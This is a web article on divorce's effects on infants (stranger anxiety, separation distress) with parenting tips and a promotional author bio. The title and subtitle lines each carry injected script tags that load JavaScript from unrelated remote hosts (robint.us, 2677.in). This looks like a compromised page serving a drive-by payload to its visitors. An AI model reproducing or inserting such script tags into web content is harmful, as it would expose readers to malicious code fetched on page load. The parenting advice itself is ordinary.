Divorce Can Be a Big 'Ouchy' Even for Infants<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Ruben Francia, interactive DAD Contributor - March 1, 2005
They may not be able to speak. But divorce impacts the littlest ones more than you might think.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
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They're too little.  Too young.  They can't understand what's going on.  So you might say to yourself, 'what difference does it make to my infant that I'm going through a divorce?'

A big difference.  Because your child, despite his or her young age, is going through it with you!

Is there such thing as divorce parenting practices that are best appropriate for an infants?  Yes. 

True, infants don't understand divorce but they can pick up on changes in feelings and behavior.  When a parent acts worried or sad, the infant is likely to feel worried or sad.  Infants cannot tell adults how they feel.  As a result, infants may act more fussy and difficult to comfort, or seem uninterested in people or things when their parents are upset relative to divorce. 

Infants of age 6 to 8 months can develop stranger anxiety.  They may act fearful or anxious around unfamiliar people.  After divorce, an infant may see one parent less often than before, so the infant may display stranger anxiety around that parent.

Infants of age 8 to 12 months may begin to show separation distress.  They may cry, scream or cling when a parent is leaving.  It's hard for an infant to be separated from a parent, especially for a long period of time, such as overnight. When parents divorce, infants may experience more separations and feel less secure. You may notice an increase in your infant's separation distress during the divorce process.

Now that you know how infant react to divorce, I'm sure a lot of ideas comes to your mind on what divorce parenting practices are best appropriate for an infant.  Here are some of the things you should do to help your infant adjust to divorce.  These are what I call divorce parenting most appropriate for an infant.

· Establish consistent, predictable routines.  It's critical for young children, because it helps them to feel secure.  At times, some parenting issues require communication and coordination between parents, if the child spends time
with both parents.  Both parents don't have to do things exactly the same way, but it is easier for children if most things are similar at both homes.

· Separate your feelings about the other parent from your parenting role.  This may be difficult but doing so will help your infant not to pick up distress feelings.

· Interact with the child in a location where the child feels secure and comfortable.

· Keep children's favorite toys, blankets or stuffed animals close at hand.

· Reassure infants of your continued presence with physical affection and loving words.  Infants and toddlers need to know that their parents still love them and that they will be taken care of.

· Be actively involved in your child's life.  Infants are likely to feel most comfortable around both parents if they have frequent contact with both parents following divorce.

· Be caring and increase your child awareness.  Understanding their thoughts and feelings helps them express those thoughts and feelings.  That makes a world of difference.

· Communicate with other caregivers.  Talk with other important adults and caregivers in your infant's life about how to support your child during this time of transition.  They need to know what is going on in order to understand the child's behavior.

Ruben Francia is an author of an indispensable divorce parenting guide ebook, entitled "101 Ways To Raise Your 'Divorced' Children To Success". Get his otherebook for FREE, "8 Essential Steps to Cooperative Parenting and Divorce." Visit his web site at http://www.101divorceparenting.com 
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